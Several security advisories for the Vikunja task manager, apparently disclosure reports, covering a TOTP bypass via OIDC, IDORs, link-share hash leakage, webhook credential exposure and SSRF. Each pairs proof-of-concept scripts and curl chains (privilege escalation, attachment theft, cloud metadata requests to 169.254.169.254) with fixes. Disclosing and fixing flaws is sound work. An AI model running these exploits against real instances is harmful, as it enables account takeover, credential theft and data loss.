go func GetLinkShareFromClaims(claims jwt.MapClaims) (share LinkSharing, err error) { id, is := claims["id"].(float64) if !is { return nil, &ErrLinkShareTokenInvalid{} } // Validate against database s := db.NewSession() defer s.Close() share, err = GetLinkShareByID(s, int64(id)) if err != nil { return nil, err // Share was deleted } // Verify permission not downgraded claimedPermission := Permission(claims["permission"].(float64)) if share.Permission < claimedPermission { return nil, &ErrLinkShareTokenInvalid{} } return share, nil }
Alternatives: shorter TTL with refresh mechanism, token blocklist, or session tracking matching user token pattern.
Summary
The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.
Details
The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:
go return auth.NewUserAuthTokenResponse(u, c, false)
There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:
go totpEnabled, err := user2.TOTPEnabledForUser(s, user) if totpEnabled { if u.TOTPPasscode == "" { = s.Rollback() return user2.ErrInvalidTOTPPasscode{} } , err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{ User: user, Passcode: u.TOTPPasscode, })
When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.
Proof of Concept
Tested on Vikunja v2.2.2 with Dex as the OIDC provider.
Setup: - Vikunja configured with emailfallback: true for Dex - Local user alice (id=1) has TOTP enabled
python import requests, re, html from urllib.parse import parseqs, urlparse
TARGET = "http://localhost:3456" DEX = "http://localhost:5556" API = f"{TARGET}/api/v1"
verify TOTP is required for local login r = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}) print(f"Local login without TOTP: {r.statuscode} code={r.json().get('code')}") Output: 412 code=1017 (TOTP required)
login via OIDC (same flow as VIK-020 PoC) s = requests.Session() r = s.get(f"{DEX}/dex/auth?clientid=vikunja" f"&redirecturi={TARGET}/auth/openid/dex" f"&responsetype=code&scope=openid+profile+email&state=x") action = html.unescape(re.search(r'action="([^"])"', r.text).group(1)) if not action.startswith("http"): action = DEX + action r = s.post(action, data={"login": "alice@test.com", "password": "password"}, allowredirects=False) approvalurl = DEX + r.headers["Location"] r = s.get(approvalurl) req = re.search(r'name="req" value="([^"])"', r.text).group(1) r = s.post(approvalurl, data={"req": req, "approval": "approve"}, allowredirects=False) code = parseqs(urlparse(r.headers["Location"]).query)["code"][0]
resp = requests.post(f"{API}/auth/openid/dex/callback", json={"code": code, "redirecturl": f"{TARGET}/auth/openid/dex"}) print(f"OIDC login: {resp.statuscode}")
user = requests.get(f"{API}/user", headers={"Authorization": f"Bearer {resp.json()['token']}"}).json() print(f"User: id={user['id']} username={user['username']}") TOTP was completely bypassed
Output: Local login without TOTP: 412 code=1017 OIDC login: 200 User: id=1 username=alice
Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.
Impact
When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.
This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing emailverified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.
Recommended Fix
Add a TOTP check in the OIDC callback before issuing the JWT:
go totpEnabled, err := user.TOTPEnabledForUser(s, u) if err != nil { = s.Rollback() return err } if totpEnabled { = s.Rollback() return echo.NewHTTPError(http.StatusForbidden, "TOTP verification required. Please use the local login endpoint.") } return auth.NewUserAuthTokenResponse(u, c, false)
--- Found and reported by aisafe.io
Summary
The DELETE /api/v1/projects/:project/shares/:share endpoint does not verify that the link share belongs to the project specified in the URL. An attacker with admin access to any project can delete link shares from other projects by providing their own project ID combined with the target share ID.
Details
The permission check in canDoLinkShare (pkg/models/linksharingpermissions.go:53-70) validates admin access on the project from the :project URL parameter. However, the Delete method at pkg/models/linksharing.go:305 queries only WHERE id = ? using the share ID, without verifying it belongs to the URL-specified project:
go func (share LinkSharing) Delete(s xorm.Session, web.Auth) (err error) { , err = s.Where("id = ?", share.ID).Delete(share) return }
This is the same vulnerability class as GHSA-jfmm-mjcp-8wq2 (task attachment IDOR) and the fixed GHSA-mr3j-p26x-72x4 (task comment IDOR).
Additionally, ReadOne at line 203 has the same pattern (WHERE id = ? only), though it is not currently exploitable because CanRead fails first due to an unrelated issue with the hash parameter binding.
Impact
An authenticated user with admin access to any project can: - Delete link shares belonging to any other project in the system - Disrupt collaboration by removing shared access links - Link share IDs are sequential integers, making enumeration trivial
Reproduction
1. User A creates Project A and a link share on it (share ID = X) 2. User B creates Project B (gaining admin access) 3. User B calls DELETE /api/v1/projects/{projectBid}/shares/{X} 4. The permission check passes (User B is admin on Project B) 5. The delete executes WHERE id = X — deleting User A's link share
Recommended Fix
Change Delete at pkg/models/linksharing.go:305 to:
go , err = s.Where("id = ? AND projectid = ?", share.ID, share.ProjectID).Delete(share)
Also fix ReadOne at line 203 as defense in depth.
Summary
The LinkSharing.ReadAll() method allows link share authenticated users to list all link shares for a project, including their secret hashes. While LinkSharing.CanRead() correctly blocks link share users from reading individual shares via ReadOne, the ReadAllWeb handler bypasses this check by never calling CanRead(). An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access.
Details
The vulnerability arises from an inconsistency between the ReadOneWeb and ReadAllWeb generic handlers and the LinkSharing permission model.
LinkSharing.CanRead() correctly blocks link share users (pkg/models/linksharingpermissions.go:25-29): go func (share LinkSharing) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { if , is := a.(LinkSharing); is { return false, 0, nil // Blocks link share users } // ... }
ReadOneWeb calls CanRead() before returning data (pkg/web/handler/readone.go:64): go canRead, maxPermission, err := currentStruct.CanRead(s, currentAuth) if !canRead { return echo.NewHTTPError(http.StatusForbidden, ...) }
ReadAllWeb does NOT call CanRead() (pkg/web/handler/readall.go:106): go // Directly calls ReadAll without permission check result, resultCount, numberOfItems, err := currentStruct.ReadAll(s, currentAuth, search, pageNumber, perPageNumber)
LinkSharing.ReadAll() only checks project-level read access (pkg/models/linksharing.go:228-236): go func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, ...) (...) { project := &Project{ID: share.ProjectID} can, , err := project.CanRead(s, a) // Link share users pass this! if !can { return nil, 0, 0, ErrGenericForbidden{} } // Returns all shares with hashes...
Project.CanRead() allows link share users (pkg/models/projectpermissions.go:105-108): go shareAuth, ok := a.(LinkSharing) if ok { return p.ID == shareAuth.ProjectID && (shareAuth.Permission == PermissionRead || ...), ... }
The Hash field is exposed in JSON serialization (pkg/models/linksharing.go:50): go Hash string xorm:"varchar(40) not null unique" json:"hash" param:"hash"
While the Password field is cleared at line 276, the Hash — which is the secret token used to authenticate — is returned in full.
PoC
Prerequisites: A project with multiple link shares at different permission levels (common scenario: a read-only share for public access and a write/admin share for collaborators).
Step 1: Authenticate with a read-only link share bash Authenticate with a read-only link share hash curl -s -X POST http://localhost:3456/api/v1/shares/READONLYHASH/auth \ | jq '.token' Returns: JWT token with permission=0 (read)
Step 2: List all link shares for the project (hash disclosure) bash Use the read-only JWT to list ALL shares including their hashes curl -s -H "Authorization: Bearer <read-only-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID/shares \ | jq '.[].hash, .[].permission' Returns ALL shares with their hashes and permission levels: "READONLYHASH" permission: 0 "ADMINHASH" permission: 2 <-- leaked!
Step 3: Escalate to admin using the leaked hash bash Authenticate with the admin link share hash curl -s -X POST http://localhost:3456/api/v1/shares/ADMINHASH/auth \ | jq '.token' Returns: JWT token with permission=2 (admin)
Step 4: Exercise admin privileges bash Delete the project (admin-only operation) curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID Success — full admin access achieved from a read-only share
Impact
- Permission escalation: An attacker with any link share URL (including read-only) can escalate to the highest permission level of any other link share on the same project - Credential disclosure: All link share hashes for a project are exposed, which are effectively bearer tokens - No account required: Link shares are designed for unauthenticated access — the attacker only needs a link share URL that was shared publicly or forwarded to them - Common scenario: Projects with both read-only (public) and write/admin (collaborator) link shares are the standard use case for tiered sharing - Password-protected shares: Even password-protected share hashes are leaked, though exploitation requires knowing/brute-forcing the password
Recommended Fix
Add a link share user check at the beginning of LinkSharing.ReadAll(), mirroring the check in CanRead():
go // In pkg/models/linksharing.go, at the start of ReadAll(): func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, search string, page int, perPage int) (result interface{}, resultCount int, totalItems int64, err error) { // Don't allow link share users to list link shares if , is := a.(LinkSharing); is { return nil, 0, 0, ErrGenericForbidden{} }
project := &Project{ID: share.ProjectID} // ... rest of method unchanged
Alternatively, as a defense-in-depth measure, exclude the Hash field from JSON serialization for list responses by using json:"-" and only returning it on creation. However, the primary fix should be the authorization check since the hash is needed in the creation response.
Summary
The DownloadImage function in pkg/utils/avatar.go uses a bare http.Client{} with no SSRF protection when downloading user avatar images from the OpenID Connect picture claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system.
Details
When a user authenticates via OpenID Connect, Vikunja extracts the picture claim from the ID token or UserInfo endpoint and passes it to syncUserAvatarFromOpenID, which calls utils.DownloadImage with the attacker-controlled URL:
Claim extraction (pkg/modules/auth/openid/openid.go:70-78): go type claims struct { Email string json:"email" Name string json:"name" PreferredUsername string json:"preferredusername" Nickname string json:"nickname" VikunjaGroups []map[string]interface{} json:"vikunjagroups" Picture string json:"picture" // ... }
Avatar sync trigger (pkg/modules/auth/openid/openid.go:348-352): go // Try sync avatar if available err = syncUserAvatarFromOpenID(s, u, cl.Picture) if err != nil { log.Errorf("Error syncing avatar for user %s: %v", u.Username, err) }
Vulnerable download (pkg/utils/avatar.go:94-115): go func DownloadImage(url string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), 3time.Second) defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create HTTP request: %w", err) }
resp, err := (&http.Client{}).Do(req) // No SSRF protection // ... return io.ReadAll(resp.Body) // No size limit }
In contrast, the webhook system correctly applies SSRF protection (pkg/models/webhooks.go:306-310): go if !config.WebhooksAllowNonRoutableIPs.GetBool() { guardian := ssrf.New(ssrf.WithAnyPort()) transport.DialContext = (&net.Dialer{ Control: guardian.Safe, }).DialContext }
The avatar download path has none of this protection. There is no URL scheme validation, no IP address filtering, and no response body size limit.
PoC
Prerequisites: A Vikunja instance with OpenID Connect configured (e.g., Keycloak, Authentik). Attacker has an account on the OIDC provider.
Step 1: Set up a listener to observe incoming requests: bash On attacker-controlled server or internal service nc -lvp 8888
Step 2: In the OIDC provider (e.g., Keycloak admin), update the attacker's user profile picture URL to an internal address: http://169.254.169.254/latest/meta-data/iam/security-credentials/ Or to probe internal services: http://internal-service:8888/admin
Step 3: Log in to Vikunja via the OIDC provider. After the callback completes, the Vikunja server will make a GET request from its own network context to the URL set in the picture claim.
Step 4: Observe the request arriving at the internal endpoint or listener. The request originates from the Vikunja server's IP, bypassing any network-level access controls that allow Vikunja server traffic.
Cloud metadata example (AWS): Set picture URL to: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Vikunja server makes GET to this URL from its own network context The response is read into memory (io.ReadAll) before image.Decode fails The HTTP request itself reaches the metadata service
Impact
- Cloud metadata access: Attacker can reach cloud instance metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure equivalents) from the Vikunja server's network position, potentially leaking IAM credentials, instance identity tokens, and configuration data. - Internal network reconnaissance: Port scanning and service discovery of internal hosts reachable from the Vikunja server by observing response timing and error messages. - Internal service interaction: Any internal service that acts on GET requests (cache purges, status endpoints, admin panels) can be triggered. - Memory pressure: The io.ReadAll call with no size limit means pointing the URL at a large resource could cause memory exhaustion on the Vikunja server, though the 3-second timeout partially mitigates this. - Repeated exploitation: The SSRF triggers on every OIDC login, allowing the attacker to iterate through different internal URLs by updating their OIDC profile between logins.
Recommended Fix
Apply the same SSRF protection used in webhooks to DownloadImage, and add a response body size limit:
go // pkg/utils/avatar.go import ( "net" "code.dny.dev/ssrf" )
func DownloadImage(url string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), 3time.Second) defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create HTTP request: %w", err) }
// SSRF protection: block requests to non-globally-routable IPs guardian := ssrf.New(ssrf.WithAnyPort()) client := &http.Client{ Transport: &http.Transport{ DialContext: (&net.Dialer{ Control: guardian.Safe, }).DialContext, }, }
resp, err := client.Do(req) if err != nil { return nil, fmt.Errorf("failed to download image: %w", err) } defer resp.Body.Close()
if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("failed to download image, status code: %d", resp.StatusCode) }
// Limit response body to 10MB to prevent memory exhaustion const maxAvatarSize = 10 1024 1024 return io.ReadAll(io.LimitReader(resp.Body, maxAvatarSize)) }
Summary
TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.
Details
The vulnerability is in pkg/models/taskattachment.go in the ReadOne method:
go // pkg/models/taskattachment.go:110-120 func (ta TaskAttachment) ReadOne(s xorm.Session, web.Auth) (err error) { exists, err := s.Where("id = ?", ta.ID).Get(ta) // Only checks attachment ID, ignores TaskID if err != nil { return } if !exists { return ErrTaskAttachmentDoesNotExist{ TaskID: ta.TaskID, AttachmentID: ta.ID, } } // ... }
The permission check in pkg/models/taskattachmentpermissions.go validates access to the URL task, not the attachment's actual task:
go // pkg/models/taskattachmentpermissions.go:25-28 func (ta TaskAttachment) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { t := &Task{ID: ta.TaskID} // ta.TaskID is from URL param :task return t.CanRead(s, a) }
The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"): go // pkg/models/taskattachment.go:41-42 ID int64 xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment" TaskID int64 xorm:"bigint not null" json:"taskid" param:"task"
Attack flow for read (GET): The custom handler at pkg/routes/api/v1/taskattachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).
Attack flow for delete (DELETE): The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.
This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND taskid = ? validation:
go // pkg/models/taskcomments.go:196-205 (the fix) func getTaskCommentSimple(s xorm.Session, tc TaskComment) error { query := s.Where("id = ?", tc.ID).NoAutoCondition() if tc.TaskID != 0 { query = query.And("taskid = ?", tc.TaskID) } // ... }
PoC
Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).
Step 1: Attacker creates their own project and task.
bash Attacker creates a project curl -s -X PUT 'http://localhost:3456/api/v1/projects' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"attacker project"}' | jq '.id' Returns: 10
Attacker creates a task in their project curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"attacker task"}' | jq '.id' Returns: 50
Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).
bash curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \ -H 'Authorization: Bearer <victimtoken>' \ -F 'files=@secret-document.pdf' Returns attachment with id: 5
Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.
bash Attacker accesses victim's attachment (id=5) via their own task (id=50) curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \ -H 'Authorization: Bearer <attackertoken>' \ -o stolen-file.pdf Returns: victim's secret-document.pdf
Step 4: Attacker can also delete the victim's attachment.
bash curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \ -H 'Authorization: Bearer <attackertoken>' Returns: 200 OK — victim's attachment is deleted
Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).
Impact
- Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments. - Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users. - Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs. - Scope: Affects all Vikunja instances with task attachments enabled (the default).
Recommended Fix
Add taskid validation to ReadOne, mirroring the fix already applied to task comments:
go // pkg/models/taskattachment.go func (ta TaskAttachment) ReadOne(s xorm.Session, web.Auth) (err error) { query := s.Where("id = ?", ta.ID) if ta.TaskID != 0 { query = query.And("taskid = ?", ta.TaskID) } exists, err := query.Get(ta) if err != nil { return } if !exists { return ErrTaskAttachmentDoesNotExist{ TaskID: ta.TaskID, AttachmentID: ta.ID, } }
// ... rest unchanged }
Summary
The GET /api/v1/projects/:project/webhooks endpoint returns webhook BasicAuth credentials (basicauthuser and basicauthpassword) in plaintext to any user with read access to the project. While the existing code correctly masks the HMAC secret field, the BasicAuth fields added in a later migration were not given the same treatment. This allows read-only collaborators to steal credentials intended for authenticating against external webhook receivers.
Details
When listing project webhooks, the ReadAll method in pkg/models/webhooks.go (line 203) only requires project read access:
go // pkg/models/webhooks.go:203-244 func (w Webhook) ReadAll(s xorm.Session, a web.Auth, string, page int, perPage int) (result interface{}, resultCount int, numberOfTotalItems int64, err error) { p := &Project{ID: w.ProjectID} can, , err := p.CanRead(s, a) // Only requires read permission if err != nil { return nil, 0, 0, err } if !can { return nil, 0, 0, ErrGenericForbidden{} }
// ... fetches webhooks from DB ...
for , webhook := range ws { webhook.Secret = "" // HMAC secret is masked // BasicAuthUser and BasicAuthPassword are NOT masked if createdBy, has := users[webhook.CreatedByID]; has { webhook.CreatedBy = createdBy } }
return ws, len(ws), total, err }
The Webhook struct defines both fields with JSON serialization tags, so they are included in API responses:
go // pkg/models/webhooks.go:63-64 BasicAuthUser string xorm:"null" json:"basicauthuser" BasicAuthPassword string xorm:"null" json:"basicauthpassword"
The BasicAuth fields were added in migration 20260123000717 ("Add basic auth to webhooks"), but the credential masking logic at line 238 was not updated to include these new fields.
The same issue exists in the user webhook listing at pkg/routes/api/v1/userwebhooks.go:65, where Secret is masked but BasicAuth fields are not. This is lower impact since users only see their own webhooks.
PoC
1. As User A (project admin), create a project and a webhook with BasicAuth credentials:
bash Create a webhook with BasicAuth on project 1 curl -X PUT "http://localhost:3456/api/v1/projects/1/webhooks" \ -H "Authorization: Bearer $TOKENA" \ -H "Content-Type: application/json" \ -d '{ "targeturl": "https://external-service.example.com/hook", "events": ["task.created"], "secret": "my-hmac-secret", "basicauthuser": "service-account", "basicauthpassword": "S3cretP@ssw0rd!" }'
2. As User B (read-only collaborator on the same project), list webhooks:
bash curl -s "http://localhost:3456/api/v1/projects/1/webhooks" \ -H "Authorization: Bearer $TOKENB" | jq '.[0] | {secret, basicauthuser, basicauthpassword}'
3. Expected output (secret is masked, but BasicAuth is leaked):
json { "secret": "", "basicauthuser": "service-account", "basicauthpassword": "S3cretP@ssw0rd!" }
Impact
- Credential theft: Any user with read-only access to a project can steal BasicAuth credentials configured on that project's webhooks. These credentials may grant access to external services (CI/CD systems, notification endpoints, third-party APIs). - Lateral movement: Stolen credentials could be reused to authenticate against external systems that the webhook receiver protects. - Broad exposure surface: Credentials are exposed to all project readers, including users granted access through team shares and link shares (with read+ permission level).
Recommended Fix
In pkg/models/webhooks.go, add masking for BasicAuth fields alongside the existing Secret masking (around line 237):
go for , webhook := range ws { webhook.Secret = "" webhook.BasicAuthUser = "" webhook.BasicAuthPassword = "" if createdBy, has := users[webhook.CreatedByID]; has { webhook.CreatedBy = createdBy } }
Apply the same fix in pkg/routes/api/v1/userwebhooks.go (around line 64):
go for , w := range ws { w.Secret = "" w.BasicAuthUser = "" w.BasicAuthPassword = "" if createdBy, has := users[w.CreatedByID]; has { w.CreatedBy = createdBy } }
Summary
When the Vikunja API returns tasks, it populates the relatedtasks field with full task objects for all related tasks without checking whether the requesting user has read permission on those tasks' projects. An authenticated user who can read a task that has cross-project relations will receive full details (title, description, due dates, priority, percent completion, project ID, etc.) of tasks in projects they have no access to.
Details
The vulnerability is in addRelatedTasksToTasks() at pkg/models/tasks.go:496-548. This function is called by addMoreInfoToTasks() (line 773) during every task read operation — both project task listings (GET /api/v1/projects/{id}/views/{id}/tasks) and single task reads (GET /api/v1/tasks/{id}).
The function fetches all related tasks directly from the database without any permission filtering:
go // pkg/models/tasks.go:496-548 func addRelatedTasksToTasks(s xorm.Session, taskIDs []int64, taskMap map[int64]Task, a web.Auth) (err error) { relatedTasks := []TaskRelation{} err = s.In("taskid", taskIDs).Find(&relatedTasks) // ... fullRelatedTasks := make(map[int64]Task) err = s.In("id", relatedTaskIDs).Find(&fullRelatedTasks) // Line 514: NO permission check // ... for , rt := range relatedTasks { // Directly adds to response without checking if user can read the related task taskMap[rt.TaskID].RelatedTasks[rt.RelationKind] = append( taskMap[rt.TaskID].RelatedTasks[rt.RelationKind], otherTask) } }
The a web.Auth parameter is received but only used for determining favorites (line 519), never for access control on the related tasks themselves.
In contrast, addBucketsToTasks() (line 550+) in the same file correctly filters enrichment data by calling getAllRawProjects(s, a, ...) to scope results to projects the requesting user can access.
While task relation creation properly enforces authorization (taskrelationpermissions.go:32-52 checks write access on the base task and read access on the other task), the relation display path does not re-check permissions for the current reader. This means a privileged user can create a relation that then leaks data to all other users who can read the base task.
PoC
Setup: Two users (User A, User B), two projects (Project-Shared, Project-Private). - User A has access to both projects. - User B has access only to Project-Shared. - Task 1 exists in Project-Shared, Task 2 exists in Project-Private.
Step 1: User A creates a relation between the two tasks
bash As User A (who has access to both projects) curl -X PUT "http://localhost:3456/api/v1/tasks/TASK1ID/relations" \ -H "Authorization: Bearer USERATOKEN" \ -H "Content-Type: application/json" \ -d '{"othertaskid": TASK2ID, "relationkind": "related"}'
Expected: 201 Created (User A has write on Task 1, read on Task 2).
Step 2: User B reads tasks from the shared project
bash As User B (who has NO access to Project-Private) curl "http://localhost:3456/api/v1/projects/PROJECTSHAREDID/views/VIEWID/tasks" \ -H "Authorization: Bearer USERBTOKEN"
Expected: Task 1 should be returned, but relatedtasks should NOT include Task 2.
Actual result: The response includes Task 1 with the relatedtasks field containing the full Task 2 object, including its title, description, duedate, priority, percentdone, projectid, and other metadata — despite User B having no access to Project-Private.
Impact
- Information disclosure: Any authenticated user can read the full metadata of tasks in projects they do not have access to, as long as a relation exists from a task they can read. - Leaked fields include: title, description, due dates, start dates, priority, percent completion, project ID, hex color, task index, done status, repeat configuration, cover image attachment ID, and creation/update timestamps. - Project structure disclosure: The projectid field reveals the existence and IDs of private projects. - No user interaction required: Once a privileged user creates a cross-project relation (which is intentionally allowed), the data leak is automatic for all readers of the base task. - Blast radius: Affects all Vikunja instances with cross-project task relations. In multi-tenant or team environments where projects have different access scopes, this undermines project-level access control.
Recommended Fix
Filter related tasks by the requesting user's read permissions before adding them to the response. In addRelatedTasksToTasks(), after fetching full task objects, check that the user can read each related task's project:
go func addRelatedTasksToTasks(s xorm.Session, taskIDs []int64, taskMap map[int64]Task, a web.Auth) (err error) { relatedTasks := []TaskRelation{} err = s.In("taskid", taskIDs).Find(&relatedTasks) if err != nil { return }
var relatedTaskIDs []int64 for , rt := range relatedTasks { relatedTaskIDs = append(relatedTaskIDs, rt.OtherTaskID) }
if len(relatedTaskIDs) == 0 { return }
fullRelatedTasks := make(map[int64]Task) err = s.In("id", relatedTaskIDs).Find(&fullRelatedTasks) if err != nil { return }
// Filter related tasks by user's read permission allowedProjectIDs := make(map[int64]bool) checkedProjectIDs := make(map[int64]bool) for , t := range fullRelatedTasks { if checkedProjectIDs[t.ProjectID] { continue } checkedProjectIDs[t.ProjectID] = true p := &Project{ID: t.ProjectID} canRead, , err := p.CanRead(s, a) if err != nil { log.Errorf("Could not check project read permission: %v", err) continue } if canRead { allowedProjectIDs[t.ProjectID] = true } }
taskFavorites, err := getFavorites(s, relatedTaskIDs, a, FavoriteKindTask) if err != nil { return err }
for , rt := range relatedTasks { task, has := fullRelatedTasks[rt.OtherTaskID] if !has { continue } // Skip related tasks the user cannot access if !allowedProjectIDs[task.ProjectID] { continue } fullRelatedTasks[rt.OtherTaskID].IsFavorite = taskFavorites[rt.OtherTaskID] otherTask := &Task{} err = copier.Copy(otherTask, fullRelatedTasks[rt.OtherTaskID]) if err != nil { log.Errorf("Could not duplicate task object: %v", err) continue } otherTask.RelatedTasks = nil taskMap[rt.TaskID].RelatedTasks[rt.RelationKind] = append( taskMap[rt.TaskID].RelatedTasks[rt.RelationKind], otherTask) }
return }
This checks project-level read permission once per unique project ID (cached in allowedProjectIDs) and skips related tasks from projects the user cannot access.
Summary
The migration helper functions DownloadFile and DownloadFileWithHeaders in pkg/modules/migration/helpers.go make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment.
Details
The vulnerability exists because the migration HTTP client uses a plain http.Client{} with no URL validation, no private IP blocklist, no redirect restrictions, and no response size limit.
Vulnerable code in pkg/modules/migration/helpers.go:38-59: go func DownloadFileWithHeaders(url string, headers http.Header) (buf bytes.Buffer, err error) { req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil) if err != nil { return nil, err } // ... headers added ... hc := http.Client{} resp, err := hc.Do(req) // ... no URL validation, no IP filtering ... buf = &bytes.Buffer{} , err = buf.ReadFrom(resp.Body) // no size limit return }
Call site in Todoist migration (pkg/modules/migration/todoist/todoist.go:433-435): go if len(n.FileAttachment.FileURL) > 0 { buf, err := migration.DownloadFile(n.FileAttachment.FileURL)
The FileURL is deserialized directly from the Todoist Sync API response (json:"fileurl" tag at line 125) with no validation.
Call sites in Trello migration (pkg/modules/migration/trello/trello.go): - Line 263: migration.DownloadFile(board.Prefs.BackgroundImage) — board background - Line 345: migration.DownloadFileWithHeaders(attachment.URL, ...) — card attachments - Line 381: migration.DownloadFile(cover.URL) — card cover images
Notably, the webhooks module in the same codebase was recently patched (commit 8d9bc3e) to add SSRF protection using the daenney/ssrf library, but this protection was not applied to the migration module — making this an incomplete fix.
Attack flow: 1. Attacker creates a Todoist account 2. Using the Todoist Sync API, attacker creates a note with fileattachment.fileurl set to an internal URL (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/) 3. Attacker authenticates to the target Vikunja instance and initiates a Todoist migration 4. Vikunja's server fetches the internal URL and stores the response body as a task attachment 5. Attacker downloads the attachment through the normal Vikunja API, reading the internal resource contents
PoC
Prerequisites: - Vikunja instance with Todoist migration enabled (admin has configured OAuth client ID/secret) - Authenticated Vikunja user account - Todoist account controlled by the attacker
Step 1: Craft malicious Todoist data
Using the Todoist Sync API, create a note with an internal URL as the file attachment:
bash curl -X POST "https://api.todoist.com/sync/v9/sync" \ -H "Authorization: Bearer $TODOISTTOKEN" \ -d 'commands=[{ "type": "noteadd", "tempid": "ssrf-test-1", "uuid": "550e8400-e29b-41d4-a716-446655440001", "args": { "itemid": "'$ITEMID'", "content": "test note", "fileattachment": { "filename": "metadata.txt", "filesize": 1, "filetype": "text/plain", "fileurl": "http://169.254.169.254/latest/meta-data/" } } }]'
Step 2: Trigger migration on Vikunja
bash Authenticate to Vikunja TOKEN=$(curl -s -X POST "https://vikunja.example.com/api/v1/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"password"}' | jq -r .token)
Initiate Todoist OAuth flow curl -s "https://vikunja.example.com/api/v1/migration/todoist/auth" \ -H "Authorization: Bearer $TOKEN"
After OAuth callback, trigger the migration curl -s -X POST "https://vikunja.example.com/api/v1/migration/todoist/migrate" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"code":"<oauthcode>"}'
Step 3: Download the attachment containing internal data
bash List tasks to find the attachment ID curl -s "https://vikunja.example.com/api/v1/projects" \ -H "Authorization: Bearer $TOKEN"
Download the attachment (contains response from internal URL) curl -s "https://vikunja.example.com/api/v1/tasks/<taskid>/attachments/<attachmentid>" \ -H "Authorization: Bearer $TOKEN" -o metadata.txt
cat metadata.txt Expected: cloud instance metadata, internal service responses, etc.
Impact
An authenticated attacker can:
- Read cloud instance metadata: Access http://169.254.169.254/ to retrieve IAM credentials, instance identity, and configuration data on AWS/GCP/Azure deployments - Probe internal network services: Map internal infrastructure by making requests to RFC1918 addresses (10.x, 172.16.x, 192.168.x) - Access internal APIs: Reach internal services that trust requests from the Vikunja server's network position - Denial of service: Since buf.ReadFrom(resp.Body) has no size limit, pointing to a large or streaming resource causes unbounded memory allocation on the Vikunja server
The attack requires the target Vikunja instance to have Todoist or Trello migration enabled (requires admin configuration of OAuth credentials), but this is a standard deployment configuration.
Recommended Fix
Apply the same SSRF protection already used for webhooks (daenney/ssrf) to the migration HTTP clients. In pkg/modules/migration/helpers.go:
go import ( "github.com/daenney/ssrf" "code.vikunja.io/api/pkg/config" )
func safeMigrationClient() http.Client { s, := ssrf.New(ssrf.WithAnyPort()) return &http.Client{ Transport: &http.Transport{ DialContext: (&net.Dialer{ Control: s.Safe, }).DialContext, }, } }
